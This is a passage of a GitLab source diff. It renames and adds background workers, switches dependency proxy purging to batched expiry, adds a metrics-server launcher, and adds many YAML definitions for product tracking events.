context_proc: -> (namespace) { { namespace: namespace } }
)
- IssueRebalancingWorker.bulk_perform_async_with_contexts(
+ Issues::RebalancingWorker.bulk_perform_async_with_contexts(
projects,
arguments_proc: -> (project) { [nil, project.id, nil] },
context_proc: -> (project) { { project: project } }
diff --git a/app/workers/namespaces/process_sync_events_worker.rb b/app/workers/namespaces/process_sync_events_worker.rb
new file mode 100644
index 00000000000..f3c4f5bebb1
--- /dev/null
+++ b/app/workers/namespaces/process_sync_events_worker.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Namespaces
+ # This worker can be called multiple times at the same time but only one of them can
+ # process events at a time. This is ensured by `try_obtain_lease` in `Ci::ProcessSyncEventsService`.
+ # `until_executing` here is to reduce redundant worker enqueuing.
+ class ProcessSyncEventsWorker
+ include ApplicationWorker
+
+ data_consistency :always
+
+ feature_category :sharding
+ urgency :high
+
+ idempotent!
+ deduplicate :until_executing
+
+ def perform
+ ::Ci::ProcessSyncEventsService.new(::Namespaces::SyncEvent, ::Ci::NamespaceMirror).execute
+ end
+ end
+end
diff --git a/app/workers/projects/process_sync_events_worker.rb b/app/workers/projects/process_sync_events_worker.rb
new file mode 100644
index 00000000000..b7c4b4de3d0
--- /dev/null
+++ b/app/workers/projects/process_sync_events_worker.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Projects
+ # This worker can be called multiple times at the same time but only one of them can
+ # process events at a time. This is ensured by `try_obtain_lease` in `Ci::ProcessSyncEventsService`.
+ # `until_executing` here is to reduce redundant worker enqueuing.
+ class ProcessSyncEventsWorker
+ include ApplicationWorker
+
+ data_consistency :always
+
+ feature_category :sharding
+ urgency :high
+
+ idempotent!
+ deduplicate :until_executing
+
+ def perform
+ ::Ci::ProcessSyncEventsService.new(::Projects::SyncEvent, ::Ci::ProjectMirror).execute
+ end
+ end
+end
diff --git a/app/workers/propagate_integration_worker.rb b/app/workers/propagate_integration_worker.rb
index 9d21d92b6e3..099f423dc0f 100644
--- a/app/workers/propagate_integration_worker.rb
+++ b/app/workers/propagate_integration_worker.rb
@@ -12,6 +12,6 @@ class PropagateIntegrationWorker
idempotent!
def perform(integration_id)
- Admin::PropagateIntegrationService.propagate(Integration.find(integration_id))
+ ::Integrations::PropagateService.propagate(Integration.find(integration_id))
end
end
diff --git a/app/workers/propagate_service_template_worker.rb b/app/workers/propagate_service_template_worker.rb
deleted file mode 100644
index 908f867279f..00000000000
--- a/app/workers/propagate_service_template_worker.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# frozen_string_literal: true
-
-# No longer in use https://gitlab.com/groups/gitlab-org/-/epics/5672
-# To be removed https://gitlab.com/gitlab-org/gitlab/-/issues/335178
-class PropagateServiceTemplateWorker # rubocop:disable Scalability/IdempotentWorker
- include ApplicationWorker
-
- data_consistency :always
-
- sidekiq_options retry: 3
-
- feature_category :integrations
-
- LEASE_TIMEOUT = 4.hours.to_i
-
- def perform(template_id)
- return unless try_obtain_lease_for(template_id)
-
- Admin::PropagateServiceTemplate.propagate(Integration.find_by_id(template_id))
- end
-
- private
-
- def try_obtain_lease_for(template_id)
- Gitlab::ExclusiveLease
- .new("propagate_service_template_worker:#{template_id}", timeout: LEASE_TIMEOUT)
- .try_obtain
- end
-end
diff --git a/app/workers/purge_dependency_proxy_cache_worker.rb b/app/workers/purge_dependency_proxy_cache_worker.rb
index db43e4adf20..615fa81f28e 100644
--- a/app/workers/purge_dependency_proxy_cache_worker.rb
+++ b/app/workers/purge_dependency_proxy_cache_worker.rb
@@ -12,14 +12,21 @@ class PurgeDependencyProxyCacheWorker
queue_namespace :dependency_proxy
feature_category :dependency_proxy
+ UPDATE_BATCH_SIZE = 100
+
def perform(current_user_id, group_id)
@current_user = User.find_by_id(current_user_id)
@group = Group.find_by_id(group_id)
return unless valid?
- @group.dependency_proxy_blobs.destroy_all # rubocop:disable Cop/DestroyAll
- @group.dependency_proxy_manifests.destroy_all # rubocop:disable Cop/DestroyAll
+ @group.dependency_proxy_blobs.each_batch(of: UPDATE_BATCH_SIZE) do |batch|
+ batch.update_all(status: :expired)
+ end
+
+ @group.dependency_proxy_manifests.each_batch(of: UPDATE_BATCH_SIZE) do |batch|
+ batch.update_all(status: :expired)
+ end
end
private
diff --git a/app/workers/todos_destroyer/private_features_worker.rb b/app/workers/todos_destroyer/private_features_worker.rb
index 150e1c8a50e..09e81216aab 100644
--- a/app/workers/todos_destroyer/private_features_worker.rb
+++ b/app/workers/todos_destroyer/private_features_worker.rb
@@ -10,7 +10,7 @@ module TodosDestroyer
include TodosDestroyerQueue
def perform(project_id, user_id = nil)
- ::Todos::Destroy::PrivateFeaturesService.new(project_id, user_id).execute
+ ::Todos::Destroy::UnauthorizedFeaturesService.new(project_id, user_id).execute
end
end
end
diff --git a/bin/metrics-server b/bin/metrics-server
new file mode 100755
index 00000000000..d8f2ed9faa4
--- /dev/null
+++ b/bin/metrics-server
@@ -0,0 +1,12 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+require_relative '../metrics_server/metrics_server'
+
+target = ENV['METRICS_SERVER_TARGET']
+raise "METRICS_SERVER_TARGET cannot be blank" if target.blank?
+
+metrics_dir = ENV["prometheus_multiproc_dir"] || File.absolute_path("tmp/prometheus_multiproc_dir/#{target}")
+wipe_metrics_dir = Gitlab::Utils.to_boolean(ENV['WIPE_METRICS_DIR']) || false
+
+Process.wait(MetricsServer.spawn(target, metrics_dir: metrics_dir, wipe_metrics_dir: wipe_metrics_dir))
diff --git a/config/apollo.config.js b/config/apollo.config.js
new file mode 100644
index 00000000000..cc847f43286
--- /dev/null
+++ b/config/apollo.config.js
@@ -0,0 +1,10 @@
+module.exports = {
+ client: {
+ service: {
+ name: 'gitlab',
+ localSchemaFile: './tmp/tests/graphql/gitlab_schema.graphql',
+ },
+ includes: ['../{ee/,jh/,}app/assets/javascripts/**/*.{js,graphql}'],
+ excludes: ['../{ee/,jh/,}spec/{frontend,frontend_integration}/**/*'],
+ },
+};
diff --git a/config/events/202108302307_security__ci_configuration__sast_create_service_create.yml b/config/events/202108302307_security__ci_configuration__sast_create_service_create.yml
new file mode 100644
index 00000000000..6fb2c1878be
--- /dev/null
+++ b/config/events/202108302307_security__ci_configuration__sast_create_service_create.yml
@@ -0,0 +1,21 @@
+description: Create SAST
+category: Security::CiConfiguration::SastCreateService
+action: create
+label_description: One of "true", "false"
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: sec
+product_stage: secure
+product_group: group::static_analysis
+product_category:
+milestone: "13.12"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58230
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202108302307_security__ci_configuration__sast_create_service_update.yml b/config/events/202108302307_security__ci_configuration__sast_create_service_update.yml
new file mode 100644
index 00000000000..c4e65e47847
--- /dev/null
+++ b/config/events/202108302307_security__ci_configuration__sast_create_service_update.yml
@@ -0,0 +1,21 @@
+description: Update SAST
+category: Security::CiConfiguration::SastCreateService
+action: update
+label_description: One of "true", "false"
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: sec
+product_stage: secure
+product_group: group::static_analysis
+product_category:
+milestone: "13.12"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58230
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202108302307_security__ci_configuration__secret_detection_create_service_create.yml b/config/events/202108302307_security__ci_configuration__secret_detection_create_service_create.yml
new file mode 100644
index 00000000000..c0c295978f1
--- /dev/null
+++ b/config/events/202108302307_security__ci_configuration__secret_detection_create_service_create.yml
@@ -0,0 +1,21 @@
+description: Create secret detection
+category: Security::CiConfiguration::SecretDetectionCreateService
+action: create
+label_description: One of "true", "false"
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: sec
+product_stage: secure
+product_group: group::static_analysis
+product_category:
+milestone: "13.12"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58230
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202108302307_security__ci_configuration__secret_detection_create_service_update.yml b/config/events/202108302307_security__ci_configuration__secret_detection_create_service_update.yml
new file mode 100644
index 00000000000..d2875a8e89f
--- /dev/null
+++ b/config/events/202108302307_security__ci_configuration__secret_detection_create_service_update.yml
@@ -0,0 +1,21 @@
+description: Update secret detection
+category: Security::CiConfiguration::SecretDetectionCreateService
+action: update
+label_description: One of "true", "false"
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: sec
+product_stage: secure
+product_group: group::static_analysis
+product_category:
+milestone: "13.12"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58230
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_api__group_container_repositories_list_repositories.yml b/config/events/202109151015_api__group_container_repositories_list_repositories.yml
new file mode 100644
index 00000000000..e5a28374fb7
--- /dev/null
+++ b/config/events/202109151015_api__group_container_repositories_list_repositories.yml
@@ -0,0 +1,21 @@
+description: List group repositories
+category: API::GroupContainerRepositories
+action: list_repositories
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_api__project_container_repositories_delete_repository.yml b/config/events/202109151015_api__project_container_repositories_delete_repository.yml
new file mode 100644
index 00000000000..2d3004e7a98
--- /dev/null
+++ b/config/events/202109151015_api__project_container_repositories_delete_repository.yml
@@ -0,0 +1,21 @@
+description: Delete project container repository
+category: API::ProjectContainerRepositories
+action: delete_repository
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_api__project_container_repositories_delete_tag.yml b/config/events/202109151015_api__project_container_repositories_delete_tag.yml
new file mode 100644
index 00000000000..88da16d02a1
--- /dev/null
+++ b/config/events/202109151015_api__project_container_repositories_delete_tag.yml
@@ -0,0 +1,21 @@
+description: Delete project container tag
+category: API::ProjectContainerRepositories
+action: delete_tag
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_api__project_container_repositories_delete_tag_bulk.yml b/config/events/202109151015_api__project_container_repositories_delete_tag_bulk.yml
new file mode 100644
index 00000000000..9a0f6d7f037
--- /dev/null
+++ b/config/events/202109151015_api__project_container_repositories_delete_tag_bulk.yml
@@ -0,0 +1,21 @@
+description: Delete project container tag in bulk
+category: API::ProjectContainerRepositories
+action: delete_tag_bulk
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_api__project_container_repositories_list_repositories.yml b/config/events/202109151015_api__project_container_repositories_list_repositories.yml
new file mode 100644
index 00000000000..d80928f92c9
--- /dev/null
+++ b/config/events/202109151015_api__project_container_repositories_list_repositories.yml
@@ -0,0 +1,21 @@
+description: List project repositories
+category: API::ProjectContainerRepositories
+action: list_repositories
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_api__project_container_repositories_list_tags.yml b/config/events/202109151015_api__project_container_repositories_list_tags.yml
new file mode 100644
index 00000000000..ccac708c0fc
--- /dev/null
+++ b/config/events/202109151015_api__project_container_repositories_list_tags.yml
@@ -0,0 +1,21 @@
+description: List project repositories tags
+category: API::ProjectContainerRepositories
+action: list_tags
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_api__pypi_packages_list_package.yml b/config/events/202109151015_api__pypi_packages_list_package.yml
new file mode 100644
index 00000000000..a2382523561
--- /dev/null
+++ b/config/events/202109151015_api__pypi_packages_list_package.yml
@@ -0,0 +1,21 @@
+description: List PyPI packages
+category: API::PypiPackages
+action: list_package
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_cluster_applications_cluster_application_name.yml b/config/events/202109151015_cluster_applications_cluster_application_name.yml
new file mode 100644
index 00000000000..bc0196c776d
--- /dev/null
+++ b/config/events/202109151015_cluster_applications_cluster_application_name.yml
@@ -0,0 +1,21 @@
+description: Install cluster application
+category: cluster:applications
+action: cluster application name
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category:
+milestone: "12.7"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/23000
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_cluster_services_prometheus_disabled_manual_prometheus.yml b/config/events/202109151015_cluster_services_prometheus_disabled_manual_prometheus.yml
new file mode 100644
index 00000000000..c98ac8323d4
--- /dev/null
+++ b/config/events/202109151015_cluster_services_prometheus_disabled_manual_prometheus.yml
@@ -0,0 +1,21 @@
+description: Disable manual prometheus
+category: cluster:services:prometheus
+action: disabled_manual_prometheus
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: dev
+product_stage: ecosystem
+product_group: group::integrations
+product_category:
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62645
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_cluster_services_prometheus_enabled_manual_prometheus.yml b/config/events/202109151015_cluster_services_prometheus_enabled_manual_prometheus.yml
new file mode 100644
index 00000000000..c453b2f035c
--- /dev/null
+++ b/config/events/202109151015_cluster_services_prometheus_enabled_manual_prometheus.yml
@@ -0,0 +1,21 @@
+description: Enable manual prometheus
+category: cluster:services:prometheus
+action: enabled_manual_prometheus
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: dev
+product_stage: ecosystem
+product_group: group::integrations
+product_category:
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62645
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_container_registry_notification_create_repository.yml b/config/events/202109151015_container_registry_notification_create_repository.yml
new file mode 100644
index 00000000000..f2063748eca
--- /dev/null
+++ b/config/events/202109151015_container_registry_notification_create_repository.yml
@@ -0,0 +1,21 @@
+description: Create repository container registry notification
+category: container_registry:notification
+action: create_repository
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "12.10"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27001
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_container_registry_notification_delete_repository.yml b/config/events/202109151015_container_registry_notification_delete_repository.yml
new file mode 100644
index 00000000000..f366a101f81
--- /dev/null
+++ b/config/events/202109151015_container_registry_notification_delete_repository.yml
@@ -0,0 +1,21 @@
+description: Delete repository container registry notification
+category: container_registry:notification
+action: delete_repository
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "12.10"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27001
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_container_registry_notification_delete_tag.yml b/config/events/202109151015_container_registry_notification_delete_tag.yml
new file mode 100644
index 00000000000..c322972ab50
--- /dev/null
+++ b/config/events/202109151015_container_registry_notification_delete_tag.yml
@@ -0,0 +1,21 @@
+description: Delete tag container registry notification
+category: container_registry:notification
+action: delete_tag
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "12.10"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27001
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_container_registry_notification_push_repository.yml b/config/events/202109151015_container_registry_notification_push_repository.yml
new file mode 100644
index 00000000000..7bdb2b157f2
--- /dev/null
+++ b/config/events/202109151015_container_registry_notification_push_repository.yml
@@ -0,0 +1,21 @@
+description: Push repository container registry notification
+category: container_registry:notification
+action: push_repository
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "12.10"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27001
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_container_registry_notification_push_tag.yml b/config/events/202109151015_container_registry_notification_push_tag.yml
new file mode 100644
index 00000000000..d250e8b2022
--- /dev/null
+++ b/config/events/202109151015_container_registry_notification_push_tag.yml
@@ -0,0 +1,21 @@
+description: Push tag container registry notification
+category: container_registry:notification
+action: push_tag
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "12.10"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27001
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_delete_repository_container.yml b/config/events/202109151015_delete_repository_container.yml
new file mode 100644
index 00000000000..162f92ccffd
--- /dev/null
+++ b/config/events/202109151015_delete_repository_container.yml
@@ -0,0 +1,21 @@
+description: Delete repository
+category: delete_repository
+action: container
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "13.6"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47175
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_delete_tag_bulk_tag.yml b/config/events/202109151015_delete_tag_bulk_tag.yml
new file mode 100644
index 00000000000..2757cb48c0c
--- /dev/null
+++ b/config/events/202109151015_delete_tag_bulk_tag.yml
@@ -0,0 +1,21 @@
+description: Delete container repository tags in bulk
+category: delete_tag_bulk
+action: tag
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "13.7"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48617
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_experiment_name_initial_write.yml b/config/events/202109151015_experiment_name_initial_write.yml
new file mode 100644
index 00000000000..94f685af02a
--- /dev/null
+++ b/config/events/202109151015_experiment_name_initial_write.yml
@@ -0,0 +1,21 @@
+description: First commit on empty repo experiment
+category: experiment name
+action: initial_write
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: growth
+product_stage: growth
+product_group: group::adoption
+product_category:
+milestone: "13.12"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59713
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_experiment_name_write.yml b/config/events/202109151015_experiment_name_write.yml
new file mode 100644
index 00000000000..d4645ecc6ae
--- /dev/null
+++ b/config/events/202109151015_experiment_name_write.yml
@@ -0,0 +1,21 @@
+description: First commits on new project README experiment
+category: experiment name
+action: write
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: growth
+product_stage: growth
+product_group: group::adoption
+product_category:
+milestone: "13.12"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59713
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_groups__email_campaigns_controller_click.yml b/config/events/202109151015_groups__email_campaigns_controller_click.yml
new file mode 100644
index 00000000000..e758abcce28
--- /dev/null
+++ b/config/events/202109151015_groups__email_campaigns_controller_click.yml
@@ -0,0 +1,21 @@
+description: Marketing email campaigns
+category: Groups::EmailCampaignsController
+action: click
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: growth
+product_stage: growth
+product_group: group::activation
+product_category:
+milestone: "13.11"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56015
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_groups__registry__repositories_controller_list_repositories.yml b/config/events/202109151015_groups__registry__repositories_controller_list_repositories.yml
new file mode 100644
index 00000000000..23c58662b61
--- /dev/null
+++ b/config/events/202109151015_groups__registry__repositories_controller_list_repositories.yml
@@ -0,0 +1,21 @@
+description: List group repositories
+category: Groups::Registry::RepositoriesController
+action: list_repositories
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_incident_management__zoom_integration_add_zoom_meeting.yml b/config/events/202109151015_incident_management__zoom_integration_add_zoom_meeting.yml
new file mode 100644
index 00000000000..6b77ec83275
--- /dev/null
+++ b/config/events/202109151015_incident_management__zoom_integration_add_zoom_meeting.yml
@@ -0,0 +1,21 @@
+description: Add Zoom meeting
+category: IncidentManagement::ZoomIntegration
+action: add_zoom_meeting
+label_description: The string "Issue ID"
+property_description:
+value_description: ID of the issue
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category:
+milestone: "12.4"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18620
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_incident_management__zoom_integration_remove_zoom_meeting.yml b/config/events/202109151015_incident_management__zoom_integration_remove_zoom_meeting.yml
new file mode 100644
index 00000000000..edf8e7feacd
--- /dev/null
+++ b/config/events/202109151015_incident_management__zoom_integration_remove_zoom_meeting.yml
@@ -0,0 +1,21 @@
+description: Remove Zoom meeting
+category: IncidentManagement::ZoomIntegration
+action: remove_zoom_meeting
+label_description: The string "Issue ID"
+property_description:
+value_description: ID of the issue
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category:
+milestone: "12.4"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18620
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_list_repositories_container.yml b/config/events/202109151015_list_repositories_container.yml
new file mode 100644
index 00000000000..c17cee5378a
--- /dev/null
+++ b/config/events/202109151015_list_repositories_container.yml
@@ -0,0 +1,21 @@
+description: List container repositories
+category: list_repositories
+action: container
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "13.6"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44926
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_notes__create_service_execute.yml b/config/events/202109151015_notes__create_service_execute.yml
new file mode 100644
index 00000000000..e42e9856cd5
--- /dev/null
+++ b/config/events/202109151015_notes__create_service_execute.yml
@@ -0,0 +1,21 @@
+description: Create note
+category: Notes::CreateService
+action: execute
+label_description: One of "anonymous_visual_review_note", "note"
+property_description:
+value_description: ID of the note
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: verify
+product_group: group::testing
+product_category:
+milestone: "12.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18890
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_package_class_pull_package.yml b/config/events/202109151015_package_class_pull_package.yml
new file mode 100644
index 00000000000..c4f5ea53f71
--- /dev/null
+++ b/config/events/202109151015_package_class_pull_package.yml
@@ -0,0 +1,21 @@
+description: Get package
+category: package class
+action: pull_package
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_package_class_push_package.yml b/config/events/202109151015_package_class_push_package.yml
new file mode 100644
index 00000000000..566ee6a9c8f
--- /dev/null
+++ b/config/events/202109151015_package_class_push_package.yml
@@ -0,0 +1,21 @@
+description: Package registered
+category: package class
+action: push_package
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_projects__registry__repositories_controller_delete_repository.yml b/config/events/202109151015_projects__registry__repositories_controller_delete_repository.yml
new file mode 100644
index 00000000000..ea27e7d6ae5
--- /dev/null
+++ b/config/events/202109151015_projects__registry__repositories_controller_delete_repository.yml
@@ -0,0 +1,21 @@
+description: Delete project repository
+category: Projects::Registry::RepositoriesController
+action: delete_repository
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_projects__registry__repositories_controller_list_repositories.yml b/config/events/202109151015_projects__registry__repositories_controller_list_repositories.yml
new file mode 100644
index 00000000000..6d587cc6a9e
--- /dev/null
+++ b/config/events/202109151015_projects__registry__repositories_controller_list_repositories.yml
@@ -0,0 +1,21 @@
+description: List project repositories
+category: Projects::Registry::RepositoriesController
+action: list_repositories
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_projects__registry__tags_controller_delete_tag.yml b/config/events/202109151015_projects__registry__tags_controller_delete_tag.yml
new file mode 100644
index 00000000000..d2c27320054
--- /dev/null
+++ b/config/events/202109151015_projects__registry__tags_controller_delete_tag.yml
@@ -0,0 +1,21 @@
+description: Delete project tag
+category: Projects::Registry::TagsController
+action: delete_tag
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_projects__registry__tags_controller_delete_tag_bulk.yml b/config/events/202109151015_projects__registry__tags_controller_delete_tag_bulk.yml
new file mode 100644
index 00000000000..7b1c7199843
--- /dev/null
+++ b/config/events/202109151015_projects__registry__tags_controller_delete_tag_bulk.yml
@@ -0,0 +1,21 @@
+description: Delete project tag in bulk
+category: Projects::Registry::TagsController
+action: delete_tag_bulk
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+- ee
+tiers:
+- free
+- premium
+- ultimate
diff --git a/config/events/202109151015_projects__registry__tags_controller_list_tags.yml b/config/events/202109151015_projects__registry__tags_controller_list_tags.yml
new file mode 100644
index 00000000000..b8e18922ffb
--- /dev/null
+++ b/config/events/202109151015_projects__registry__tags_controller_list_tags.yml
@@ -0,0 +1,21 @@
+description: List project registry tags
+category: Projects::Registry::TagsController
+action: list_tags
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category:
